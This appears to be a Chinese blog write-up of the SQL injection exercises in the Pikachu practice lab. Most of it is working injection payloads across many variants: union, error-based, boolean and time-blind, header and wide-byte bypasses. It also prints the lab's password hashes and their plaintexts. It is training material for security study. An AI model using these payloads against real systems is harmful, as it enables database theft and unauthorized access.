Pikachu-四、SQL-Inject

1. 概述

Sql Inject(SQL注入)概述
哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2. 使用参数化(Parameterized Query 或 Parameterized Statement);
  3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

2. 数字型注入(post)

开启Burp抓包:
image
发送到Repeater:
添加'报错,可判断存在SQL注入:
image
判断字段数:
id=3 order by 3报错
image
id=3 order by 2有回显,字段数为2
判断回显点:id=3 union select 1,2
image
查看用户名和数据库名:id=3 union select user(),database()
image
查询数据库pikachu下的所有表名:id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
image
查询数据表users中的字段:id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
image
查询字段username和password的内容:id=3 union select group_concat(username),group_concat(password) from users
image
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)

3. 字符型注入(get)

在表单随便输入一个名字,使用hackbar插件loadURL:
image
添加'报错,可判断存在SQL注入:
image
' --s进行闭合,页面恢复正常:
image
判断字段数:
name=test' order by 3 -- s报错
image
name=test' order by 2 -- s有回显,字段数为2
image
判断回显点:name=test' union select 1,2 -- s
image
查看用户名和数据库名:name=test' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- s
image
查询数据表users中的字段:name=test' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- s
image
查询字段username和password的内容:test' union select group_concat(username),group_concat(password) from users -- s
image
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)

4. 搜索型注入

输入vince查询到一个账户:
image
添加'报错,可判断存在SQL注入:
image
判断字段数量:
vince' order by 4 -- s报错:
image
vince' order by 3 -- s有回显,字段数为3:
image
判断回显点:vince' union select 1,2,3 -- s
image
查看用户名和数据库名:vince' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- s
image
查询数据表users中的字段:vince' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- s
image
查询字段username和password的内容:vince' union select 1,group_concat(username),group_concat(password) from users -- s
image
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)

5. xx型注入

输入vince查询到一个账户:
image
添加'报错,可判断存在SQL注入:
image
闭合方式为vince') -- s
判断字段数量:
vince') order by 3 -- s报错:
image
vince') order by 2 -- s有回显,字段数为2:
image
判断回显点:vince') union select 1,2 -- s
image
查看用户名和数据库名:vince') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- s
image
查询数据表users中的字段:vince') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- s
image
查询字段username和password的内容:vince') union select group_concat(username),group_concat(password) from users -- s
image

6. "insert/update"注入

点击注册后,完善信息后Burp抓包:
image
POST数据包,发送到reapter,对其中的各个参数添加',判断是否存在SQL注入。
image
image
通过报错推导出SQL代码:

(username, password, sex, phonenum, email, add)
VALUES
('$username', md5('$password'), '$sex', '$phonenum', '$email', '$add');

构造闭合语句:username=admin','1','1','1','1','1') -- s &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit
不再出现SQL语法错误,闭合成功。
没有回显点,利用报错注入回显。构造报错语句:username=admin',(extractvalue(1,concat(0x7e,(select database()),0x7e))),'1','1','1','1') -- s &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit
image
查询pikachu库的所有表:username=admin',(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))),'1','1','1','1') -- s &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit
limit范围为:0~4。
image
枚举user表的字段名:username=admin',(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))),'1','1','1','1') -- s &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit
image
limit范围为:0~2。

7. "delete"注入

开启Burp抓包,删除留言:
image
抓到的包测试id参数是否存在SQL注入:
image
发送至Reapter模块。
添加'报错,可判断存在SQL注入:
image
构造报错函数爆数据库名id=57 or updatexml(1,concat(0x7e,database()),0),因为是get请求操作,所以需要进行url编码:
image

8. "http header"注入

根据提示登录:
image
登录后显示:
image
开启Burp抓包,点击退出:
image
后台可能对User-Agent进行了获取,进行SQL注入测试,添加',判断是否存在SQL注入:
image
存在SQL注入:
image
构造报错函数爆数据库名Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0' or updatexml(1,concat(0x7e,database()),0) or'
image
对Cookie的ant[uname]ant[pw]参数同样也能构造报错函数爆数据库名:
image

9. 盲注(base on boolian)

测试输入名字vince
image
构造vince'用户名不存在,构造vince' and 1=1#正常显示用户名,说明存在相关操作数据库执行,可判断存在SQL注入:
image
爆数据库名:vince' and ascii(substr(database(),1,1))>113#
image
说明数据库名的第一个字符的第一个ASCII码值≤113。
第一个字符:vince' and ascii(substr(database(),1,1))=112#,ASCII的值:112=p。
image
第二个字符:vince' and ascii(substr(database(),1,1))=105#,ASCII的值:105=i。
image
第三个字符:vince' and ascii(substr(database(),1,1))=107#,ASCII的值:107=k。
image
以此类推,最终爆出数据库名:pikachu。

10. 盲注(base on time)

标题为时间盲注,在输入框输入vince' and sleep(5),发现网页等待5秒后加载完成,说明存在SQL注入。
爆数据库名:vince' and if(ascii(substr(database(),1,1))=112,sleep(5),null)#
若数据库的第一个字符的ASCII码值为112,则产生5秒延迟:
image
说明数据库的第一个字符的ASCII的值:112=p。
以此类推,最终爆出数据库名:pikachu。

11. 宽字节注入

尝试通过宽字节注入爆出所有用户:
image
输入vince后抓包:
image
发送至Reapter,并构造vince' or 1=1#
image
单引号被转义了,在'前面加上%df使其与转义字符\组合成一个双字节的汉字,从而绕过转义:
image

posted @ 2026-01-08 14:53  77板烧鸡腿堡  阅读(22)  评论(0)    收藏  举报